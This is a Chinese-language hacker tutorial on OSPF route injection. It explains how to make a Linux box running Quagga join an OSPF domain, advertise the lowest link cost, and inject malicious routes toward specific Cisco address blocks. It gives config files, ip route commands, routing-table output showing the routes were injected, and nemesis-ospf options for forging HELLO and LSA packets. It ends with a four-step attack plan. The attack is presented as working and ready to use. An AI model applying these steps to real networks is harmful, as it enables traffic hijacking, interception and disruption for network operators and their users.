Copyright (c) 2010 Czy Invicta <Hack01@Live!cn> All rights reserved.
前言 ~~~~~~~ 谁控制了路由协议,谁就控制了整个网络。因此,要对该协议实施充分的安全防护,要采取最严格的措施——不会有错!如果该协议失控,就可能导致整个网络失控。
链路状态路由协议(OSPF)用得较多,而且将在未来很长时间内继续使用。因此,要高清其层次结构对安全性的影响及攻击者针对该协议而可能采取的做法,我写出这篇文章正是此目的,对这些内容的掌握将是很有帮助的。
演示 ~~~~~~~ 这种攻击的目的在于将自己的路由器,如一台启用了转发功能的Linux机器,通告为一台具有大量带宽的链路状态路由协议路由器。尽管Cisco设备在实施OSPF时支持带宽和延迟这两种量度,但通常只会考虑带宽。在此情况下,计算开销的方法为:(10^8)/带宽,即100Mbps与链路带宽的比值。例如,10Mbps链路的开销是10,而56Kbps串行链路的开销是1785。
当然,攻击者会希望通告最小的开销,即1。在router ospf模式下,可使用ospf auto-cost reference-bandwidth命令更改参考带宽,这在高速网络中非常有用。不过对攻击者来说,更简单的方法是使用ip ospf cost <cost>命令来操纵接口上的开销。
计算Quagga路由器套件中的ospfd的配置成本的过程和对Cisco路由器的情况完全一致。可在接口的配置模式下设置路由的开销,所使用的命令为:ip ospf cost <1-65535>。
Quagga路由软件中,ospfd守护进程的配置文件示例如下:
! ! Zebra configuration saved from vty ! 2010/02/15 01:22:41 ! hostname legitimate.ospfd password 8 jhahnGuSsan.g enable password 8 Cb/yfFsI.abqs log file /var/log/quagga/ospfd.log service advanced-vty service password -encryption ! ! interface eth0 description DMZ-Network ip ospf authentication message-digest ip ospf message-digest-key 1 md5 secret_key ! interface eth1 ! interface 10 ! interface tun10 ! router ospf ospf router-id 192.168.20.111 redistribute kernel redistribute connected network 192.168.20.0/24 area 0.0.0.0 area 0.0.0.0 authentication message-digest ! line vty exec-timeout 30 0 !
成功加入OSPF域后,应检测日志进行确认,或者使用show ip opsf命令,显示连接汇总。确认成功后即可开始注入恶意路由:
legitimate.ospfd# show ip ospf OSPF Routing Process, Router ID: 192.168.20.111 Supports only single TOS (TOS0) routes This implementation conforms to RFC2328 RFC1583Compatibility flag is disabled OpaqueCapability flag is disabled SPF schedule delay 1 secs, Hold time between two SPFs 1 secs Refresh timer 10 secs This router is an ASBR (injecting external routing information) Number of external LSA 4. Checksum Sum 0x00025f81 Number of opaque AS LSA 0. Checksum Sum 0x00000000 Number of areas attached to this router: 1
Area ID: 0.0.0.0 (Backbone) Number of interfaces in this area: Total: 1, Active: 1 Number of fully adjacent neighbors in this area: 2 Area has message digest authentication SPF algorithm executed 29 times Number of LSA 9 Number of router LSA 4. Checksum Sum 0x00025166 Number of network LSA 1. Checksum Sum 0xffff90fa Number of summary LSA 2. Checksum Sum 0x000166c2 Number of ASBR summary LSA 2. Checksum Sum 0x00014713 Number of NSSA LSA 0. Checksum Sum 0x00000000 Number of opaque link LSA 0. Checksum Sum 0x00000000 Number of opaque area LSA 0. Checksum Sum 0x00000000
要保证在router ospf模式下已指定了redistribute kernel,否则使用ip route命令指定的路由将无法重新分布。这些管理规则适用于启用数据包转发和NAT的情况。接下来,我们声明指向某些Cisco网络的路由将通过我们的路由器,实现命令如下:
arhontus / # ip route add 64.100.0.0/14 dev eth0 arhontus / # ip route add 128.107.0.0/16 dev eth0
如果条件恶劣,可使用tcpdump来查看数据包是否开始进入自己的主机。而在测试实验室中,我们能在相邻的路由器上执行sh ip ospf route命令,检查是否已成功注入路由:
legitimate.ospfd# sh ip ospf route
============ OSPF external routing table =========== N E2 64.100.0.0/14 [10/20] tag: 0 Via 192.168.66.111, eth0 N E2 128.107.0.0/16 [10/20] tag: 0 Via 192.168.66.111, eth0
你或许已经猜到,192.168.66.111就是我们用来通告OSPF的流氓机器。
正如我们已经演示的那样,实际上安装并配置Quagga将更为简便一些,不过还是可用各种定制数据包生成器来模拟OSPF路由器运行并插入恶意OSPF HELLO和更新(或者链路状态通告,LSA)。
arhontus / # ./nemesis-ospf
OSPF usage: ./namesis-ospf [-v] [optlist]
OSPF Packet Types: -p <OSPF Protocol> -pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router), -pN LSA (network), -pM LSA (summary), -pA LSA (AS) OSPF HELLO options: -N <Neighbor Router Address> -i <Dead Router Interval> -l <OSPF Interval> OSPF DBD options: -z <MAX DGRAM Length> -x <Exchange Type> OSPF LSU options: -B <num of LSAs to bcast> OSPF LSA related options: -L <router id> -G <LSA age> OSPF LSA_RTR options: -u <LSA_RTR num> -y <LSA_RTR router type> -k <LSA_RTR router data> OSPF LSA_AS_EXT options: -f <LSA_AS_EXT forward address> -g <LSA_AS_EXT tag> OSPF options: -m <OSPF Metric> -s <Sequence Number> -r <Advertising Router Address> -n <OSPF Netmask> -O <OSPF Options> -R <OSPF Router id> -A <OSPF Area id> -P <Payload File (Binary or ASCII)> (- ERBOSE - packet struct to stdout)
IP Options -S <Source Address> -D <Destination Address> -I <IP ID> -T <IP TTL> -t <IP/OSPF tos> -F <IP frag> -o <IP Options>
Data Link Options: -d <Ethernet Dvice> -H <Source MAC Address> -M <Destination MAC Address>
在此必须定义源地址、目的地址、协议及相关选项。
也可伪造生成OSPF LSA更新。此时需到此工具安装位置下的config目录中编辑defaultLsaHdr.txt或defaultLsa.txt文件,表明要通告的路由。
思绪 ~~~~~~~ 整个注入流程分为4步:
1. 仔细研究待攻击OSPF网络的拓扑结构。使用ass进行被动嗅探和主动扫描。别忘了获取自治系统号。 2. 运行一个nemesis-ospf进程,将其设为生成HELLO数据包。 3. 再运行一个nemesis-ospf进程,模拟OSPF握手。这是个非常困难的任务,将用到一些脚本,原因是握手涉及多种不同的数据包,如下简单画出的草图。(在该图中,数据库描述符数据包(DDP)向邻居发送汇总数据,同步各拓扑结构数据库。链路状态请求(LSR)向邻居发送更详细的信息。链路状态更新(LSU)则作为对此请求的响应而发送。在特定的一个路由域中,最多可有5种不同类型的LSU,具体取决于路由器在OSPF区域中的位置和角色。最后,LSACK是一种已成功接收和处理的LSU的ACK确认。) 4. 开始注入自行选择的恶意链路状态通告。
尾声 ~~~~~~~ 考虑到所需花费的努力,你或许会发现使用一套路由软件来实施流氓路由器攻击将更为实际。不过使用数据包生成器将更富有意义,路由或安全专家在空闲时会考虑这么做。不管怎样,如果有问题,可以写信件并发送到我的Email(Hack01[at]Live.cn)中向我咨询。
# HACKER NETSPY [C.Z.Y]
|